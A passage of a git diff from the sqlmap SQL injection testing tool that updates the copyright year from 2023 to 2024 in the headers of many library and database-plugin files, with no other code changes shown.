b/lib/techniques/error/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 749cef5d811..70892924ede 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index a9a6358a7ff..c62aea95167 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 1ad4ff81302..0a75356496a 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/__init__.py b/lib/utils/__init__.py index 8476fab2f94..7777bded120 100644 --- a/lib/utils/__init__.py +++ b/lib/utils/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/api.py b/lib/utils/api.py index 2a394f3821e..b4d027f9dfd 100644 --- a/lib/utils/api.py +++ b/lib/utils/api.py @@ -2,7 +2,7 @@ # -*- coding: utf-8 -*- """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/brute.py b/lib/utils/brute.py index d927ed6a536..89577fff8f1 100644 --- a/lib/utils/brute.py +++ b/lib/utils/brute.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 2d907071312..43b24a2cc6b 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/deps.py b/lib/utils/deps.py index c13e66a28cb..4928c101a08 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/getch.py b/lib/utils/getch.py index 347fd7e5365..76739b3fa9c 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/har.py b/lib/utils/har.py index bcea7b001e3..bc9e881c35e 100644 --- a/lib/utils/har.py +++ b/lib/utils/har.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 4a013338b4e..2a4514de433 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index e9e72bc29cb..439523699da 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/httpd.py b/lib/utils/httpd.py index f5820a600cf..aba688d077d 100644 --- a/lib/utils/httpd.py +++ b/lib/utils/httpd.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/pivotdumptable.py b/lib/utils/pivotdumptable.py index 008a33c59a9..ca7e37e776f 100644 --- a/lib/utils/pivotdumptable.py +++ b/lib/utils/pivotdumptable.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/progress.py b/lib/utils/progress.py index 9e906326ae3..95f756846dc 100644 --- a/lib/utils/progress.py +++ b/lib/utils/progress.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/purge.py b/lib/utils/purge.py index e89895eba00..9886fb06064 100644 --- a/lib/utils/purge.py +++ b/lib/utils/purge.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/safe2bin.py b/lib/utils/safe2bin.py index 15ba36965a9..b1da5db8db2 100644 --- a/lib/utils/safe2bin.py +++ b/lib/utils/safe2bin.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/search.py b/lib/utils/search.py index 4e9d4abc1e2..dd0b04072f2 100644 --- a/lib/utils/search.py +++ b/lib/utils/search.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index 685c4539942..586eb7f6396 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/timeout.py b/lib/utils/timeout.py index 9551cfe5daf..c25adbd57f2 100644 --- a/lib/utils/timeout.py +++ b/lib/utils/timeout.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 7dd85e1b389..647cfdb4ccc 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/utils/xrange.py b/lib/utils/xrange.py index d4065f00dab..c6d56ee987e 100644 --- a/lib/utils/xrange.py +++ b/lib/utils/xrange.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/__init__.py b/plugins/__init__.py index 8476fab2f94..7777bded120 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/__init__.py b/plugins/dbms/__init__.py index 8476fab2f94..7777bded120 100644 --- a/plugins/dbms/__init__.py +++ b/plugins/dbms/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/__init__.py b/plugins/dbms/access/__init__.py index 37ec1e2b80f..972c6d2c2dd 100644 --- a/plugins/dbms/access/__init__.py +++ b/plugins/dbms/access/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/connector.py b/plugins/dbms/access/connector.py index 492bc5d7e57..a8999b476b8 100644 --- a/plugins/dbms/access/connector.py +++ b/plugins/dbms/access/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/enumeration.py b/plugins/dbms/access/enumeration.py index 9d6484aa98e..e4ca38f94e5 100644 --- a/plugins/dbms/access/enumeration.py +++ b/plugins/dbms/access/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/filesystem.py b/plugins/dbms/access/filesystem.py index b272956f949..12d2357e49a 100644 --- a/plugins/dbms/access/filesystem.py +++ b/plugins/dbms/access/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/fingerprint.py b/plugins/dbms/access/fingerprint.py index c6226bfdfeb..2ab63949af4 100644 --- a/plugins/dbms/access/fingerprint.py +++ b/plugins/dbms/access/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/syntax.py b/plugins/dbms/access/syntax.py index 542f215d440..ff828d9c6e7 100644 --- a/plugins/dbms/access/syntax.py +++ b/plugins/dbms/access/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/access/takeover.py b/plugins/dbms/access/takeover.py index b2c52b490a0..76c00f2f4c9 100644 --- a/plugins/dbms/access/takeover.py +++ b/plugins/dbms/access/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/__init__.py b/plugins/dbms/altibase/__init__.py index 63ee1317691..e8389349a66 100644 --- a/plugins/dbms/altibase/__init__.py +++ b/plugins/dbms/altibase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/connector.py b/plugins/dbms/altibase/connector.py index e19ad4bfbf3..baa543f3337 100644 --- a/plugins/dbms/altibase/connector.py +++ b/plugins/dbms/altibase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/enumeration.py b/plugins/dbms/altibase/enumeration.py index e565b49c4ca..fb08a399132 100644 --- a/plugins/dbms/altibase/enumeration.py +++ b/plugins/dbms/altibase/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/filesystem.py b/plugins/dbms/altibase/filesystem.py index bf4d5c5bac7..7f3df980642 100644 --- a/plugins/dbms/altibase/filesystem.py +++ b/plugins/dbms/altibase/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/fingerprint.py b/plugins/dbms/altibase/fingerprint.py index eb471a72433..b83e9da6947 100644 --- a/plugins/dbms/altibase/fingerprint.py +++ b/plugins/dbms/altibase/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/syntax.py b/plugins/dbms/altibase/syntax.py index b6b6c633dc8..b995549f465 100644 --- a/plugins/dbms/altibase/syntax.py +++ b/plugins/dbms/altibase/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/altibase/takeover.py b/plugins/dbms/altibase/takeover.py index 6edc833ba4e..24fb4ed2e6c 100644 --- a/plugins/dbms/altibase/takeover.py +++ b/plugins/dbms/altibase/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/__init__.py b/plugins/dbms/cache/__init__.py index f9409fbc762..a34b3c2ea54 100644 --- a/plugins/dbms/cache/__init__.py +++ b/plugins/dbms/cache/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/connector.py b/plugins/dbms/cache/connector.py index 000db10fc00..92450e0132b 100644 --- a/plugins/dbms/cache/connector.py +++ b/plugins/dbms/cache/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/enumeration.py b/plugins/dbms/cache/enumeration.py index bc81558c4be..ceacd1a0dd8 100644 --- a/plugins/dbms/cache/enumeration.py +++ b/plugins/dbms/cache/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/filesystem.py b/plugins/dbms/cache/filesystem.py index bf4d5c5bac7..7f3df980642 100644 --- a/plugins/dbms/cache/filesystem.py +++ b/plugins/dbms/cache/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/fingerprint.py b/plugins/dbms/cache/fingerprint.py index feca88a5ba5..15dee72bdca 100644 --- a/plugins/dbms/cache/fingerprint.py +++ b/plugins/dbms/cache/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/syntax.py b/plugins/dbms/cache/syntax.py index 6ee81215240..768e5836d87 100644 --- a/plugins/dbms/cache/syntax.py +++ b/plugins/dbms/cache/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cache/takeover.py b/plugins/dbms/cache/takeover.py index cf933aee3e3..1f01bee8576 100644 --- a/plugins/dbms/cache/takeover.py +++ b/plugins/dbms/cache/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py index a4a1314420f..97fb2ffd529 100755 --- a/plugins/dbms/clickhouse/__init__.py +++ b/plugins/dbms/clickhouse/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py index b58d1135780..a05ef048523 100755 --- a/plugins/dbms/clickhouse/connector.py +++ b/plugins/dbms/clickhouse/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py index d4984b8c708..0f89f7943bd 100755 --- a/plugins/dbms/clickhouse/enumeration.py +++ b/plugins/dbms/clickhouse/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py index 83b3aa1784b..0bc6acbaf9c 100755 --- a/plugins/dbms/clickhouse/filesystem.py +++ b/plugins/dbms/clickhouse/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py index 4007a6b8f2d..402142b4bd7 100755 --- a/plugins/dbms/clickhouse/fingerprint.py +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py index 2d4cfcaaf46..369abe4d9d1 100755 --- a/plugins/dbms/clickhouse/syntax.py +++ b/plugins/dbms/clickhouse/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py index 8f862bf1a6e..9486f340153 100755 --- a/plugins/dbms/clickhouse/takeover.py +++ b/plugins/dbms/clickhouse/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/__init__.py b/plugins/dbms/cratedb/__init__.py index 843b750212e..0e36066ef06 100644 --- a/plugins/dbms/cratedb/__init__.py +++ b/plugins/dbms/cratedb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/connector.py b/plugins/dbms/cratedb/connector.py index 15a2b48e358..4545fc8dfe7 100644 --- a/plugins/dbms/cratedb/connector.py +++ b/plugins/dbms/cratedb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/enumeration.py b/plugins/dbms/cratedb/enumeration.py index ce0ad614b26..349bf54dd6d 100644 --- a/plugins/dbms/cratedb/enumeration.py +++ b/plugins/dbms/cratedb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/filesystem.py b/plugins/dbms/cratedb/filesystem.py index bf4d5c5bac7..7f3df980642 100644 --- a/plugins/dbms/cratedb/filesystem.py +++ b/plugins/dbms/cratedb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/fingerprint.py b/plugins/dbms/cratedb/fingerprint.py index 26ee988e985..74e93a4782b 100644 --- a/plugins/dbms/cratedb/fingerprint.py +++ b/plugins/dbms/cratedb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/syntax.py b/plugins/dbms/cratedb/syntax.py index b53aa83ad0a..de0a0d2400c 100644 --- a/plugins/dbms/cratedb/syntax.py +++ b/plugins/dbms/cratedb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cratedb/takeover.py b/plugins/dbms/cratedb/takeover.py index 87195fd1fdb..6f6819f7a61 100644 --- a/plugins/dbms/cratedb/takeover.py +++ b/plugins/dbms/cratedb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/__init__.py b/plugins/dbms/cubrid/__init__.py index 854ed4c0f70..1b5975cecc8 100644 --- a/plugins/dbms/cubrid/__init__.py +++ b/plugins/dbms/cubrid/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py index 1be6d7d1a33..11e46bce3ae 100644 --- a/plugins/dbms/cubrid/connector.py +++ b/plugins/dbms/cubrid/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py index edc43413141..ddb1c7f4728 100644 --- a/plugins/dbms/cubrid/enumeration.py +++ b/plugins/dbms/cubrid/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py index bf4d5c5bac7..7f3df980642 100644 --- a/plugins/dbms/cubrid/filesystem.py +++ b/plugins/dbms/cubrid/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py index 375ee52e9e6..afb7258220a 100644 --- a/plugins/dbms/cubrid/fingerprint.py +++ b/plugins/dbms/cubrid/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py index 3b75df1656e..6e2520d9c57 100644 --- a/plugins/dbms/cubrid/syntax.py +++ b/plugins/dbms/cubrid/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py index 063b2a2d56e..1f1fcff9f81 100644 --- a/plugins/dbms/cubrid/takeover.py +++ b/plugins/dbms/cubrid/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index 433dbb2bf12..e195a3dfa4c 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index d83845d98fd..3c90d022dd2 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index aca27237278..ce11feca441 100644 --- 